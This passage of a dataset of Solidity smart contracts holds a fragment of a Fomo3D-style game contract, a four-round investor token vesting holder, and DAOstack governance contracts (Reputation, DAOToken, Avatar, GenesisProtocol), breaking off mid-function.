return (_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns (uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return (_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == owner, 'only dev!');
require(activated_ == false, "fomo3d already activated");
activated_ = true;
otherF3D_ = msg.sender;
Divies = msg.sender;
Jekyll_Island_Inc = msg.sender;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
} | 0 | 2,002 |
pragma solidity ^0.4.24;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeERC20 {
function safeTransfer(ERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address[] public managers;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
managers.push(msg.sender);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyManager() {
require(isManager(msg.sender));
_;
}
function isManager(address manager) view internal returns (bool ok) {
for (uint i = 0; i < managers.length; i++) {
if (managers[i] == manager) {
return true;
}
}
return false;
}
function addManager(address manager) onlyOwner public {
require(manager != 0x0);
require(!isManager(manager));
managers.push(manager);
}
function removeManager(address manager) onlyOwner public {
require(manager != 0x0);
require(isManager(manager));
for (uint i = 0; i < managers.length; i++) {
if (managers[i] == manager) {
managers[i] = managers[managers.length - 1];
break;
}
}
managers.length -= 1;
}
function transferOwnership(address newOwner) onlyOwner public returns (bool success) {
require(newOwner != 0x0);
removeManager(owner);
addManager(newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
return true;
}
}
contract Destructible is Ownable {
constructor() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract LooisCornerstoneHolder is Ownable, Destructible {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
bool public tokenInitialized;
bool public stopInvest;
uint256 public totalSupply;
uint256 public restSupply;
uint256 public releaseTime;
uint8 public releasedRoundCount;
uint8 public firstRoundPercent;
uint8 public secondRoundPercent;
uint8 public thirdRoundPercent;
uint8 public fourthRoundPercent;
address[] public investors;
mapping(address => uint256) public investorAmount;
mapping(address => uint256) public releasedAmount;
event Release(address indexed _investor, uint256 indexed _value);
modifier onlyTokenInitialized() {
require(tokenInitialized);
_;
}
constructor(uint8 _firstRoundPercent, uint8 _secondRoundPercent, uint8 _thirdRoundPercent, uint8 _fourthRoundPercent) public {
require(_firstRoundPercent + _secondRoundPercent + _thirdRoundPercent + _fourthRoundPercent == 100);
firstRoundPercent = _firstRoundPercent;
secondRoundPercent = _secondRoundPercent;
thirdRoundPercent = _thirdRoundPercent;
fourthRoundPercent = _fourthRoundPercent;
tokenInitialized = false;
stopInvest = false;
releasedRoundCount = 0;
}
function initTokenAndReleaseTime(ERC20 _token, uint256 _releaseTime) onlyOwner public {
require(!tokenInitialized);
require(_releaseTime > block.timestamp);
releaseTime = _releaseTime;
token = _token;
totalSupply = token.balanceOf(this);
restSupply = totalSupply;
tokenInitialized = true;
}
function isInvestor(address _investor) view internal returns (bool ok) {
for (uint i = 0; i < investors.length; i++) {
if (investors[i] == _investor) {
return true;
}
}
return false;
}
function addInvestor(address _investor, uint256 _value) onlyManager onlyTokenInitialized public {
require(_investor != 0x0);
require(_value > 0);
require(!stopInvest);
uint256 value = 10**18 * _value;
if (!isInvestor(_investor)) {
require(restSupply > value);
investors.push(_investor);
} else {
require(restSupply + investorAmount[_investor] > value);
restSupply = restSupply.add(investorAmount[_investor]);
}
restSupply = restSupply.sub(value);
investorAmount[_investor] = value;
}
function removeInvestor(address _investor) onlyManager onlyTokenInitialized public {
require(_investor != 0x0);
require(!stopInvest);
require(isInvestor(_investor));
for (uint i = 0; i < investors.length; i++) {
if (investors[i] == _investor) {
investors[i] = investors[investors.length - 1];
restSupply = restSupply.add(investorAmount[_investor]);
investorAmount[_investor] = 0;
break;
}
}
investors.length -= 1;
}
function release() onlyManager onlyTokenInitialized public {
require(releasedRoundCount <= 3);
require(block.timestamp >= releaseTime);
uint8 releasePercent;
if (releasedRoundCount == 0) {
releasePercent = firstRoundPercent;
} else if (releasedRoundCount == 1) {
releasePercent = secondRoundPercent;
} else if (releasedRoundCount == 2) {
releasePercent = thirdRoundPercent;
} else {
releasePercent = fourthRoundPercent;
}
for (uint8 i = 0; i < investors.length; i++) {
address investor = investors[i];
uint256 amount = investorAmount[investor];
if (amount > 0) {
uint256 releaseAmount = amount.div(100).mul(releasePercent);
if (releasedAmount[investor].add(releaseAmount) > amount) {
releaseAmount = amount.sub(releasedAmount[investor]);
}
token.safeTransfer(investor, releaseAmount);
releasedAmount[investor] = releasedAmount[investor].add(releaseAmount);
emit Release(investor, releaseAmount);
}
}
releaseTime = releaseTime.add(60 * 60 * 24 * 30);
releasedRoundCount = releasedRoundCount + 1;
stopInvest = true;
}
function releaseRestBalance() onlyOwner onlyTokenInitialized public {
require(releasedRoundCount > 3);
uint256 balance = token.balanceOf(this);
require(balance > 0);
token.safeTransfer(owner, balance);
emit Release(owner, balance);
}
function releaseRestBalanceAndSend(address _recipient) onlyOwner onlyTokenInitialized public {
require(_recipient != 0x0);
require(releasedRoundCount > 3);
uint256 balance = token.balanceOf(this);
require(balance > 0);
token.safeTransfer(_recipient, balance);
emit Release(_recipient, balance);
}
} | 0 | 1,422 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.2;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
return (address(0));
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.2;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
